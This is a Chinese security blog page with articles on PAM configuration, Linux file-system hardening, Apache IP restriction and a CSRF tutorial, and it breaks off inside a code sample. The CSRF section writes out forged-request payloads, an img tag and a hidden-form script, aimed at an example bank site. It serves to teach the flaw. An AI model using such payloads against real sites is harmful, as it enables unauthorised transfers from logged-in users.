<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;第三部分会通过password口另类接口来确认用户使用的密码或者口令的合法性。第一行配置项表示需要的情况下将调用pam_cracklib来验证用户密码复杂度。如果用户输入密码不满足复杂度要求或者密码错，最多将在三次这种错误之后直接返回密码错误的提示，否则期间任何一次正确的密码验证都允许登录。需要指出的是，pam_cracklib.so是一个常用的控制密码复杂度的pam模块，关于其用法举例我们会在之后详细介绍。之后带pam_unix.so和pam_deny.so的两行配置项的意思与之前类似。都表示需要通过密码认证并对不符合上述任何配置项要求的登录请求直接予以拒绝。不过用户如果执行的操作是单纯的登录，则这部分配置是不起作用的。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;第四部分主要将通过session会话类接口为用户初始化会话连接。其中几个比较重要的地方包括，使用pam_keyinit.so表示当用户登录的时候为其建立相应的密钥环，并在用户登出的时候予以撤销。不过该行配置的控制位使用的是optional，表示这并非必要条件。之后通过pam_limits.so限制用户登录时的会话连接资源，相关pam_limit.so配置文件是/etc/security/limits.conf，默认情况下对每个登录用户都没有限制。关于该模块的配置方法在后面也会详细介绍。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;可见，不同应用程序通过配置文件在认证过程中调用不同的pam模块来定制具体的认证流程。其中我们不难看出，其实可以根据实际的需要对pam的配置文件进行修改以满足不同的认证需求，例如下面的例子：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#%PAM-1.0</span></div><div class="line"><span class="comment"># This file is auto-generated.</span></div><div class="line"><span class="comment"># User changes will be destroyed the next time authconfig is run.</span></div><div class="line">auth required pam_env.so</div><div class="line">auth required pam_tally.so onerr=fail deny=5</div><div class="line">auth sufficient pam_unix.so nullok try_first_pass</div><div class="line">auth requisite pam_succeed_if.so uid &gt;= 500 quiet</div><div class="line">auth required pam_deny.so</div><div class="line"> </div><div class="line">account required pam_unix.so</div><div class="line">account sufficient pam_succeed_if.so uid &lt; 500 quiet</div><div class="line">account required pam_permit.so</div><div class="line"> </div><div class="line">password requisite pam_cracklib.so try_first_pass retry=3 minlen=10 lcredit=-1 ucredit=-1 dcredit=-1 ocredit=-1 difok=6</div><div class="line">password requisite pam_passwdqc.so use_first_pass enforce=everyone</div><div class="line">password sufficient pam_unix.so md5 remember=6 shadow nullok try_first_pass use_authtok</div><div class="line">password required pam_deny.so</div><div class="line"> </div><div class="line">session optional pam_keyinit.so revoke</div><div class="line">session required pam_limits.so</div><div class="line">session [success=1 default=ignore] pam_succeed_if.so service <span class="keyword">in</span> crond quiet use_uid</div><div class="line">session required pam_unix.so</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;在其中就增加了对用户密码修改时复杂度的限制，用户多次错误输入密码之后的锁定限制以及用户使用密码历史等限制选项。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;所以我们通过对上述system-auth配置文件的修改，模块的增加和选项的变化，从很大的程度上增加了用户登录验证的安全性要求。我们会在之后的文章中对该配置进行详细说明。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;另外也一定需要注意，在整个的PAM配置文件当中，配置项以及模块调用的逻辑顺序非常关键。因为PAM是按照配置项的先后顺序来进行验证。错误的模块调用顺序很可能导致严重的安全问题甚至系统错误。所以对PAM配置进行修改的时候务必要考虑这一点。</p>

	

	

</article>




	<article>
	
		<h1><a href="/2017/10/12/Linux安全/14. 文件系统安全/">文件系统安全</a></h1>
	
	<div class="article__infos">
		<span class="article__date">2017-10-12</span><br />
		
		
			<span class="article__tags">
			  	<a class="article__tag-link" href="/tags/Linux安全/">Linux安全</a>
			</span>
		
	</div>

	

	
		<h2 id="一、锁定系统重要文件"><a href="#一、锁定系统重要文件" class="headerlink" title="一、锁定系统重要文件"></a>一、锁定系统重要文件</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;系统运维人员有时候可能会遇到通过root用户都不能修改或者删除某个文件的情况，产生这种情况的大部分原因可能是这个文件被锁定了。在Linux下锁定文件的命令是chattr，通过这个命令可以修改ext2、ext3、ext4文件系统下文件属性，但是这个命令必须有超级用户root来执行。和这个命令对应的命令是lsattr，这个命令用来查询文件属性。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;通过chattr命令修改文件或者目录的文件属性能够提高系统的安全性，下面简单介绍下chattr和lsattr两个命令的用法。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;chattr命令的语法格式如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">chattr [-RV] [-v version] [mode] 文件或目录</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;主要参数含义如下：</p>
<ul>
<li>-R：递归修改所有的文件及子目录。</li>
<li>-V：详细显示修改内容，并打印输出。</li>
</ul>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;其中mode部分用来控制文件的属性，常用参数如下表所示：</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;参数含义</p>
<ul>
<li><ul>
<li>：在原有参数设定基础上，追加参数</li>
</ul>
</li>
<li><ul>
<li>：在原有参数设定基础上，移除参数</li>
</ul>
</li>
<li>=：更新为指定参数</li>
<li>a：即append，设定该参数后，只能向文件中添加数据，而不能删除。常用于服务器日志文件安全，只有root用户才能设置这个属性</li>
<li>c：即compresse，设定文件是否经压缩后再存储。读取时需要经过自动解压操作</li>
<li>i ：即immutable，设定文件不能被修改、删除、重命名、设定链接等，同时不能写入或新增内容。这个参数对于文件系统的安全设置有很大帮助</li>
<li>s：安全的删除文件或目录，即文件被删除后硬盘空间被全部收回</li>
<li>u：与s参数相反，当设定为u时，系统会保留其数据块以便以后能够恢复删除这个文件。这些参数中，最常用到的是a和i，a参数常用于服务器日志文件安全设定，而i参数更为严格，不允许对文件进行任何操作，即使是root用户</li>
</ul>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;lsattr用来查询文件属性，用法比较简单，其语法格式如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">lsattr [-adlRvV] 文件或目录</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;常用参数如下表所示。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;参数含义</p>
<ul>
<li>-a：列出目录中的所有文件，包括以.开头的文件</li>
<li>-d：显示指定目录的属性</li>
<li>-R：以递归的方式列出目录下所有文件及子目录以及属性值</li>
<li>-v：显示文件或目录版本</li>
</ul>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;在Linux系统中，如果一个用户以root的权限登录或者某个进程以root的权限运行，那么它的使用权限就不再有任何的限制了。因此，攻击者通过远程或者本地攻击手段获得了系统的root权限将是一个灾难。在这种情况下，文件系统将是保护系统安全的最后一道防线，合理的属性设置可以最大限度地减小攻击者对系统的破坏程度，通过chattr命令锁定系统一些重要的文件或目录，是保护文件系统安全最直接、最有效的手段。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;对一些重要的目录和文件可以加上“i”属性，常见的文件和目录有：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">chattr -R +i /bin /boot /lib /sbin</div><div class="line">chattr -R +i /usr/bin /usr/include /usr/lib /usr/sbin</div><div class="line">chattr +i /etc/passwd</div><div class="line">chattr +i /etc/shadow</div><div class="line">chattr +i /etc/hosts</div><div class="line">chattr +i /etc/resolv.conf</div><div class="line">chattr +i /etc/fstab</div><div class="line">chattr +i /etc/sudoers</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;对一些重要的日志文件可以加上“a”属性，常见的有：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">chattr +a /var/<span class="built_in">log</span>/messages</div><div class="line">chattr +a /var/<span class="built_in">log</span>/wtmp</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;对重要的文件进行加锁，虽然能够提高服务器的安全性，但是也会带来一些不便，例如，在软件的安装、升级时可能需要去掉有关目录和文件的immutable属性和append-only属性，同时，对日志文件设置了append-only属性，可能会使日志轮换(logrotate)无法进行。因此，在使用chattr命令前，需要结合服务器的应用环境来权衡是否需要设置immutable属性和append-only属性。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;另外，虽然通过chattr命令修改文件属性能够提高文件系统的安全性，但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var等目录。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;根目录不能有不可修改属性，因为如果根目录具有不可修改属性，那么系统根本无法工作：/dev在启动时，syslog需要删除并重新建立/dev/log套接字设备，如果设置了不可修改属性，那么可能出问题；/tmp目录会有很多应用程序和系统程序需要在这个目录下建立临时文件，也不能设置不可修改属性；/var是系统和程序的日志目录，如果设置为不可修改属性，那么系统写日志将无法进行，所以也不能通过chattr命令保护。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;虽然通过chattr命令无法保护/dev、/tmp等目录的安全性，但是有另外的方法可以实现，在面将做详细介绍。</p>
<h2 id="二、文件权限检查和修改"><a href="#二、文件权限检查和修改" class="headerlink" title="二、文件权限检查和修改"></a>二、文件权限检查和修改</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;不正确的权限设置直接威胁着系统的安全，因此运维人员应该能及时发现这些不正确的权限设置，并立刻修正，防患于未然。下面列举几种查找系统不安全权限的方法。</p>
<ol>
<li>查找系统中任何用户都有写权限的文件或目录</li>
</ol>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;查找文件：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">find / -<span class="built_in">type</span> f -perm -2 -o -perm -20 |xargs ls -al</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;查找目录：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">find / -<span class="built_in">type</span> d -perm -2 -o -perm -20 |xargs ls –ld</div></pre></td></tr></table></figure>
<ol>
<li>查找系统中所有含“s”位的程序</li>
</ol>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">find / -<span class="built_in">type</span> f -perm -4000 -o -perm -2000 -<span class="built_in">print</span> | xargs ls –al</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;含有“s”位权限的程序对系统安全威胁很大，通过查找系统中所有具有“s”位权限的程序，可以把某些不必要的“s”位程序去掉，这样可以防止用户滥用权限或提升权限的可能性。</p>
<ol>
<li>检查系统中所有suid及sgid文件</li>
</ol>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">find / -user root -perm -2000 -<span class="built_in">print</span> -<span class="built_in">exec</span> md5sum &#123;&#125; \;</div><div class="line">find / -user root -perm -4000 -<span class="built_in">print</span> -<span class="built_in">exec</span> md5sum &#123;&#125; \;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;将检查的结果保存到文件中，可在以后的系统检查中作为参考。</p>
<ol>
<li>检查系统中没有属主的文件</li>
</ol>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">find / -nouser -o –nogroup</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;没有属主的孤儿文件比较危险，往往成为黑客利用的工具，因此找到这些文件后，要么删除掉，要么修改文件的属主，使其处于安全状态。</p>
<h2 id="三、-tmp、-var-tmp、-dev-shm安全设定"><a href="#三、-tmp、-var-tmp、-dev-shm安全设定" class="headerlink" title="三、/tmp、/var/tmp、/dev/shm安全设定"></a>三、/tmp、/var/tmp、/dev/shm安全设定</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;在Linux系统中，主要有两个目录或分区用来存放临时文件，分别是/tmp和/var/tmp。存储临时文件的目录或分区有个共同点就是所有用户可读写、可执行，这就为系统留下了安全隐患。攻击者可以将病毒或者木马脚本放到临时文件的目录下进行信息收集或伪装，严重影响服务器的安全，此时，如果修改临时目录的读写执行权限，还有可能影响系统上应用程序的正常运行，因此，如果要兼顾两者，就需要对这两个目录或分区就行特殊的设置。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;/dev/shm是Linux下的一个共享内存设备，在Linux启动的时候系统默认会加载/dev/shm，被加载的/dev/shm使用的是tmpfs文件系统，而tmpfs是一个内存文件系统，存储到tmpfs文件系统的数据会完全驻留在RAM中，这样通过/dev/shm就可以直接操控系统内存，这将非常危险，因此如何保证/dev/shm安全也至关重要。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;对于/tmp的安全设置，需要看/tmp是一个独立磁盘分区，还是一个根分区下的文件夹，如果/tmp是一个独立的磁盘分区，那么设置非常简单，修改/etc/fstab文件中/tmp分区对应的挂载属性，加上nosuid、noexec、nodev三个选项即可，修改后的/tmp分区挂载属性类似如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">LABEL=/tmp     /tmp          ext3    rw,nosuid,noexec,nodev   0 0</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;其中，nosuid、noexec、nodev选项，表示不允许任何suid程序，并且在这个分区不能执行任何脚本等程序，并且不存在设备文件。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;在挂载属性设置完成后，重新挂载/tmp分区，保证设置生效。<br>对于/var/tmp，如果是独立分区，安装/tmp的设置方法是修改/etc/fstab文件即可；如果是/var分区下的一个目录，那么可以将/var/tmp目录下所有数据移动到/tmp分区下，然后在/var下做一个指向/tmp的软连接即可。也就是执行如下操作：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">[root@server ~]<span class="comment"># mv /var/tmp/* /tmp</span></div><div class="line">[root@server ~]<span class="comment"># ln -s /tmp /var/tmp</span></div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;如果/tmp是根目录下的一个目录，那么设置稍微复杂，可以通过创建一个loopback文件系统来利用Linux内核的loopback特性将文件系统挂载到/tmp下，然后在挂载时指定限制加载选项即可。一个简单的操作示例如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">[root@server ~]<span class="comment"># dd if=/dev/zero of=/dev/tmpfs bs=1M count=10000</span></div><div class="line">[root@server ~]<span class="comment"># mke2fs -j /dev/tmpfs</span></div><div class="line">[root@server ~]<span class="comment"># cp -av /tmp /tmp.old</span></div><div class="line">[root@server ~]<span class="comment"># mount -o loop,noexec,nosuid,rw /dev/tmpfs /tmp</span></div><div class="line">[root@server ~]<span class="comment"># chmod 1777 /tmp</span></div><div class="line">[root@server ~]<span class="comment"># mv -f /tmp.old/* /tmp/</span></div><div class="line">[root@server ~]<span class="comment"># rm -rf /tmp.old</span></div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;最后，编辑/etc/fstab，添加如下内容，以便系统在启动时自动加载loopback文件系统：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">/dev/tmpfs /tmp ext3 loop,nosuid,noexec,rw 0 0</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;为了验证一下挂载时指定限制加载选项是否生效，可以在/tmp分区创建一个shell文件，操作如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">[root@tc193 tmp]<span class="comment"># ls -al|grep shell</span></div><div class="line">-rwxr-xr-x 1 root root 22 Oct 6 14:58 shell-test.sh</div><div class="line">[root@server ~]<span class="comment"># pwd</span></div><div class="line">/tmp</div><div class="line">[root@tc193 tmp]<span class="comment"># ./shell-test.sh</span></div><div class="line">-bash: ./shell-test.sh: Permission denied</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;可以看出，虽然文件有可执行属性，但是已经在/tmp分区无法执行任何文件了。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;最后，再来修改一下/dev/shm的安全设置。由于/dev/shm是一个共享内存设备，因此也可以通过修改/etc/fstab文件设置而实现，在默认情况下，/dev/shm通过defaults选项来加载，对保证其安全性是不够    的，修改/dev/shm的挂载属性，操作如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">tmpfs   /dev/shm    tmpfs   defaults,nosuid,noexec,rw  0 0</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;通过这种方式，就限制了任何suid程序，同时也限制了/dev/shm的可执行权限，系统安全性得到进一步提升。</p>

	

	

</article>




	<article>
	
		<h1><a href="/2017/10/12/Linux安全/15. 针对访问 uri 限制 ip/">针对访问 uri 限制 ip</a></h1>
	
	<div class="article__infos">
		<span class="article__date">2017-10-12</span><br />
		
		
			<span class="article__tags">
			  	<a class="article__tag-link" href="/tags/Linux安全/">Linux安全</a>
			</span>
		
	</div>

	

	
		<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;在虚拟主机配置文件中加入如下字段：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">Order deny,allow</div><div class="line">Deny from all</div><div class="line">Allow from 127.0.0.1</div><div class="line">Allow from 2.2.2.2</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;假如该虚拟机的域名为 domain.com , 这样配置后，除了 127.0.0.1 和 2.2.2.2 外，其他ip访问以下类似的uri时都会直接禁止的。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">http://domain.com/1212admin.txt </div><div class="line">http://domain.com/admin.php</div><div class="line">http://domain.com/1212/admin.html</div><div class="line">等</div></pre></td></tr></table></figure>

	

	

</article>




	<article>
	
		<h1><a href="/2017/10/12/Linux安全/13. 浅谈CSRF攻击方式/">浅谈CSRF攻击方式</a></h1>
	
	<div class="article__infos">
		<span class="article__date">2017-10-12</span><br />
		
		
			<span class="article__tags">
			  	<a class="article__tag-link" href="/tags/Linux安全/">Linux安全</a>
			</span>
		
	</div>

	

	
		<h2 id="一-CSRF是什么？"><a href="#一-CSRF是什么？" class="headerlink" title="一.CSRF是什么？"></a>一.CSRF是什么？</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。</p>
<h2 id="二-CSRF可以做什么？"><a href="#二-CSRF可以做什么？" class="headerlink" title="二.CSRF可以做什么？"></a>二.CSRF可以做什么？</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;你这可以这么理解CSRF攻击：<strong>攻击者盗用了你的身份，以你的名义发送恶意请求</strong>。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账……造成的问题包括：个人隐私泄露以及财产安全。</p>
<h2 id="三-CSRF漏洞现状"><a href="#三-CSRF漏洞现状" class="headerlink" title="三.CSRF漏洞现状"></a>三.CSRF漏洞现状</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;CSRF这种攻击方式在2000年已经被国外的安全人员提出，但在国内，直到06年才开始被关注，08年，国内外的多个大型社区和交互网站分别爆出CSRF漏洞，如：NYTimes.com（纽约时报）、Metafilter（一个大型的BLOG网站），YouTube和百度HI……而现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称CSRF为“沉睡的巨人”。</p>
<h2 id="四-CSRF的原理"><a href="#四-CSRF的原理" class="headerlink" title="四.CSRF的原理"></a>四.CSRF的原理</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;下图简单阐述了CSRF攻击的思想：</p>
<p><figure class="figure"><img src="https://github.com/hcldirgit/image/blob/master/%E6%B5%85%E8%B0%88CSRF%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F/01.jpeg?raw=true" alt=""></figure></p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;从上图可以看出，要完成一次CSRF攻击，<strong>受害者必须依次完成两个步骤</strong>：</p>
<ol>
<li><p><strong>登录受信任网站A，并在本地生成Cookie。</strong></p>
</li>
<li><p><strong>在不登出A的情况下，访问危险网站B。</strong></p>
</li>
</ol>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;看到这里，你也许会说：“<strong>如果我不满足以上两个条件中的一个，我就不会受到CSRF的攻击</strong>”。是的，确实如此，但你不能保证以下情况不会发生：</p>
<ol>
<li><p>你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站。</p>
</li>
<li><p>你不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了……）</p>
</li>
<li><p>上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。</p>
</li>
</ol>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;上面大概地讲了一下CSRF攻击的思想，下面我将用几个例子详细说说具体的CSRF攻击，这里我以一个银行转账的操作作为例子（仅仅是例子，真实的银行网站没这么傻:&gt;）</p>
<h3 id="示例1："><a href="#示例1：" class="headerlink" title="示例1："></a>示例1：</h3><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;银行网站A，它以GET请求来完成银行转账的操作，如：<a href="http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000" target="_blank" rel="external">http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000</a></p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;危险网站B，它里面有一段HTML的代码如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;img src=http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块……</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;为什么会这样呢？原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中的<img>以GET的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏览器会带上你的银行网站A的Cookie发出Get请求，去获取资源“<a href="http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账操作），所以就立刻进行转账操作" target="_blank" rel="external">http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账操作），所以就立刻进行转账操作</a>……</p>
<h3 id="示例2："><a href="#示例2：" class="headerlink" title="示例2："></a>示例2：</h3><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;为了杜绝上面的问题，银行决定改用POST请求完成转账操作。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;银行网站A的WEB表单如下：　　</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">&lt;form action=<span class="string">"Transfer.php"</span> method=<span class="string">"POST"</span>&gt;</div><div class="line">　　&lt;p&gt;ToBankId: &lt;input <span class="built_in">type</span>=<span class="string">"text"</span> name=<span class="string">"toBankId"</span> /&gt;&lt;/p&gt;</div><div class="line">　　&lt;p&gt;Money: &lt;input <span class="built_in">type</span>=<span class="string">"text"</span> name=<span class="string">"money"</span> /&gt;&lt;/p&gt;</div><div class="line">　　&lt;p&gt;&lt;input <span class="built_in">type</span>=<span class="string">"submit"</span> value=<span class="string">"Transfer"</span> /&gt;&lt;/p&gt;</div><div class="line">&lt;/form&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;后台处理页面Transfer.php如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line">　　session_start();</div><div class="line">　　<span class="keyword">if</span> (isset(<span class="variable">$_REQUEST</span>[<span class="string">'toBankId'</span>] &amp;&amp;　isset(<span class="variable">$_REQUEST</span>[<span class="string">'money'</span>]))</div><div class="line">　　&#123;</div><div class="line">　　    buy_stocks(<span class="variable">$_REQUEST</span>[<span class="string">'toBankId'</span>],　<span class="variable">$_REQUEST</span>[<span class="string">'money'</span>]);</div><div class="line">　　&#125;</div><div class="line">?&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;危险网站B，仍然只是包含那句HTML代码：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;img src=http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;和示例1中的操作一样，你首先登录了银行网站A，然后访问危险网站B，结果…..和示例1一样，你再次没了1000块～T_T，这次事故的原因是：银行后台使用了$_REQUEST去获取请求的数据，而$_REQUEST既可以获取GET请求的数据，也可以获取POST请求的数据，这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中，可以使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中，用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。</p>
<h3 id="示例3："><a href="#示例3：" class="headerlink" title="示例3："></a>示例3：</h3><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;经过前面2个惨痛的教训，银行决定把获取请求数据的方法也改了，改用$_POST，只获取POST请求的数据，后台处理页面Transfer.php代码如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line">　　session_start();</div><div class="line">　　<span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'toBankId'</span>] &amp;&amp;　isset(<span class="variable">$_POST</span>[<span class="string">'money'</span>]))</div><div class="line">　　&#123;</div><div class="line">　　    buy_stocks(<span class="variable">$_POST</span>[<span class="string">'toBankId'</span>],　<span class="variable">$_POST</span>[<span class="string">'money'</span>]);</div><div class="line">　　&#125;</div><div class="line">?&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;然而，危险网站B与时俱进，它改了一下代码：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line">&lt;html&gt;</div><div class="line">　　&lt;head&gt;</div><div class="line">　　　　&lt;script <span class="built_in">type</span>=<span class="string">"text/javascript"</span>&gt;</div><div class="line">　　　　　　<span class="keyword">function</span> steal()</div><div class="line">　　　　　　&#123;</div><div class="line">          　　　　 iframe = document.frames[<span class="string">"steal"</span>];</div><div class="line">　　     　　      iframe.document.Submit(<span class="string">"transfer"</span>);</div><div class="line">　　　　　　&#125;</div><div class="line">　　　　